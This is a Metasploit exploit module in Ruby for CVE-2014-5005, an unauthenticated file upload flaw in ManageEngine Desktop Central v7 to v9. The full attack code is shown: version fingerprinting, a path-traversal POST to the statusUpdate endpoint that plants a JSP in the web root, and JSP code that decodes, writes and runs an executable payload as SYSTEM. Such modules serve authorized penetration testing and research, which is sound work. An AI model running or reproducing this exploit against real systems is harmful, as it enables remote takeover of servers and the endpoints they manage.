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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload',
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        'Description' => %q{
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          This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral
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          v7 to v9 build 90054 (including the MSP versions).
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          A malicious user can upload a JSP file into the web root without authentication, leading to
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          arbitrary code execution as SYSTEM. Some early builds of version 7 are not exploitable as
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          they do not ship with a bundled Java compiler.
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        },
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        'Author' => [
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          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2014-5005'],
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          ['OSVDB', '110643'],
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          ['URL', 'https://seclists.org/fulldisclosure/2014/Aug/88']
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        ],
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        'Platform' => 'win',
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        'Arch' => ARCH_X86,
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        'Targets' => [
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          [ 'Desktop Central v7 to v9 build 90054 / Windows', {} ]
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        ],
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        'Privileged' => true,
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2014-08-31',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(8020)])
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  end
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  # Test for Desktop Central
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  def check
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    res = send_request_cgi({
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      'uri' => normalize_uri("configurations.do"),
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      'method' => 'GET'
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    })
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    if res && res.code == 200
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      build = nil
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      if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
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         res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7
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        print_status("Detected Desktop Central v7")
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      elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
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            res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
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        if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/  # DC v8 (later versions)
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          build = $1
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          print_status("Detected Desktop Central v8 #{build}")
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        else                                                     # DC v8 (earlier versions)
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          print_status("Detected Desktop Central v8")
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        end
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      elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)
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        build = $1
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      end
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      if build.nil?
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        return Exploit::CheckCode::Unknown
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      elsif Rex::Version.new(build) < Rex::Version.new("90055")
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        return Exploit::CheckCode::Appears
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      else
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        return Exploit::CheckCode::Safe
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      end
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    end
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    Exploit::CheckCode::Unknown
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  end
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  def exploit
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    print_status("Uploading JSP to execute the payload")
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    exe = payload.encoded_exe
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    exe_filename = rand_text_alpha_lower(8) + ".exe"
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    jsp_payload = jsp_drop_and_execute(exe, exe_filename)
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    jsp_name = rand_text_alpha_lower(8) + ".jsp"
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    send_request_cgi({
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      'uri' => normalize_uri('statusUpdate'),
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      'method' => 'POST',
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      'data' => jsp_payload,
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      'ctype' => 'text/html',
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      'vars_get' => {
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        'actionToCall' => 'LFU',
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        'configDataID' => '1',
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        'customerId' => rand_text_numeric(4),
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        'fileName' => '../' * 6 << jsp_name
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      }
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    })
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    # We could check for HTTP 200 and a "success" string.
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    # However only some later v8 and v9 versions return this; and we don't really care
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    # and do a GET to the file we just uploaded anyway.
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    register_files_for_cleanup(exe_filename)
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    register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{jsp_name}")
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    print_status("Executing payload")
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    send_request_cgi(
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      {
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        'uri' => normalize_uri(jsp_name),
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        'method' => 'GET'
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      }
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    )
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  end
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  def jsp_drop_bin(bin_data, output_file)
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    jspraw = %Q|<%@ page import="java.io.*" %>\n|
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    jspraw << %Q|<%\n|
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    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
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    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
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    jspraw << %Q|int numbytes = data.length();\n|
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    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
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    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
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    jspraw << %Q|{\n|
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    jspraw << %Q|  char char1 = (char) data.charAt(counter);\n|
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    jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\n|
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    jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
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    jspraw << %Q|  comb <<= 4;\n|
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    jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
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    jspraw << %Q|  bytes[counter/2] = (byte)comb;\n|
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    jspraw << %Q|}\n|
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    jspraw << %Q|outputstream.write(bytes);\n|
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    jspraw << %Q|outputstream.close();\n|
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    jspraw << %Q|%>\n|
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    jspraw
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  end
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  def jsp_execute_command(command)
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    jspraw = %Q|\n|
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    jspraw << %Q|<%\n|
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    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
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    jspraw << %Q|%>\n|
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    jspraw
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  end
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  def jsp_drop_and_execute(bin_data, output_file)
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    jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
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  end
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end
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